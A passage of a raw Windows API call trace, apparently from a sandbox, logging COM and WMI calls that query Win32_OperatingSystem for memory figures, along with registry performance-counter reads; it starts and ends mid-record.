riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0287.693] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496f80) returned 0x0 [0287.693] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496f80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0287.693] WbemDefPath:IUnknown:Release (This=0x1d496f80) returned 0x3 [0287.693] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0287.693] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0287.694] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0287.694] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0287.694] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0287.694] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0287.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0287.694] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0287.694] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0287.694] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0287.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0287.694] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0287.694] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0287.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0287.694] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0287.694] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0287.694] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950510*=0, plFlavor=0x2950514*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2950510*=21, plFlavor=0x2950514*=0) returned 0x0 [0287.695] SysStringByteLen (bstr="1395304") returned 0xe [0287.695] SysStringByteLen (bstr="1395304") returned 0xe [0287.695] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950510*=21, plFlavor=0x2950514*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2950510*=21, plFlavor=0x2950514*=0) returned 0x0 [0287.695] SysStringByteLen (bstr="1395304") returned 0xe [0287.695] SysStringByteLen (bstr="1395304") returned 0xe [0287.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0287.695] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0287.695] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0287.695] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950708*=0, plFlavor=0x295070c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2950708*=21, plFlavor=0x295070c*=0) returned 0x0 [0287.696] SysStringByteLen (bstr="2096620") returned 0xe [0287.696] SysStringByteLen (bstr="2096620") returned 0xe [0287.696] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950708*=21, plFlavor=0x295070c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2950708*=21, plFlavor=0x295070c*=0) returned 0x0 [0287.696] SysStringByteLen (bstr="2096620") returned 0xe [0287.696] SysStringByteLen (bstr="2096620") returned 0xe [0287.696] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0287.696] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0287.696] IUnknown:Release (This=0x1d35ca20) returned 0x0 [0289.742] GetTickCount64 () returned 0xabf2a0 [0289.744] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0289.744] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28a8570, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28a8570*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0289.747] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0289.748] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28b9988, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28b9988*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0289.751] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0289.751] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0289.751] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0289.752] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0289.752] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0289.752] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0289.752] IUnknown:Release (This=0x4b0108) returned 0x1 [0289.753] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d4970e0) returned 0x0 [0289.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0289.754] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d4970e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d4972c0) returned 0x0 [0289.754] WbemLocator:IUnknown:Release (This=0x1d4970e0) returned 0x0 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d4972c0) returned 0x0 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0289.754] WbemLocator:IUnknown:AddRef (This=0x1d4972c0) returned 0x3 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0289.754] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0289.754] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0289.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0289.755] WbemLocator:IUnknown:Release (This=0x1d4972c0) returned 0x2 [0289.755] WbemLocator:IUnknown:Release (This=0x1d4972c0) returned 0x1 [0289.755] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0289.755] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0289.755] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4972c0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d4972c0) returned 0x0 [0289.755] WbemLocator:IUnknown:AddRef (This=0x1d4972c0) returned 0x3 [0289.755] WbemLocator:IUnknown:Release (This=0x1d4972c0) returned 0x2 [0289.755] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0289.755] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0289.755] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0289.755] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497420) returned 0x0 [0289.755] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497420, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d475410) returned 0x0 [0289.875] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475410, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b352040) returned 0x0 [0289.875] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b352040, pProxy=0x1d475410, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0289.875] WbemLocator:IUnknown:Release (This=0x1b352040) returned 0x1 [0289.875] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475410, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b352088) returned 0x0 [0289.876] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475410, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b352040) returned 0x0 [0289.876] WbemLocator:IClientSecurity:SetBlanket (This=0x1b352040, pProxy=0x1d475410, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0289.876] WbemLocator:IUnknown:Release (This=0x1b352040) returned 0x2 [0289.876] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0289.876] CoTaskMemFree (pv=0x1d472070) [0289.876] WbemLocator:IUnknown:Release (This=0x1d497420) returned 0x0 [0289.876] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475410, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b352088) returned 0x0 [0289.876] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0289.877] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0289.877] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475410, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0289.878] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0289.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0289.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0289.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351f68) returned 0x0 [0289.878] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351f68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0289.878] WbemLocator:IUnknown:Release (This=0x1b351f68) returned 0x3 [0289.878] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0289.878] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0289.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b352050) returned 0x0 [0289.878] WbemLocator:IRpcOptions:Query (in: This=0x1b352050, pPrx=0x1b352088, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0289.878] WbemLocator:IUnknown:Release (This=0x1b352050) returned 0x3 [0289.879] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0289.879] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0289.879] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0289.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d475410) returned 0x0 [0289.879] WbemLocator:IUnknown:AddRef (This=0x1d475410) returned 0x4 [0289.879] WbemLocator:IUnknown:Release (This=0x1d475410) returned 0x3 [0289.879] WbemLocator:IUnknown:Release (This=0x1d475410) returned 0x2 [0289.879] SysStringLen (param_1=0x0) returned 0x0 [0289.879] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0289.879] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0289.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b352088) returned 0x0 [0289.879] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x3 [0289.879] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0289.879] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0289.879] WbemLocator:IUnknown:AddRef (This=0x1d475410) returned 0x3 [0289.879] IWbemServices:ExecQuery (in: This=0x1d475410, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35bd00) returned 0x0 [0289.893] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35bd08) returned 0x0 [0289.893] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0289.893] IUnknown:Release (This=0x1d35bd08) 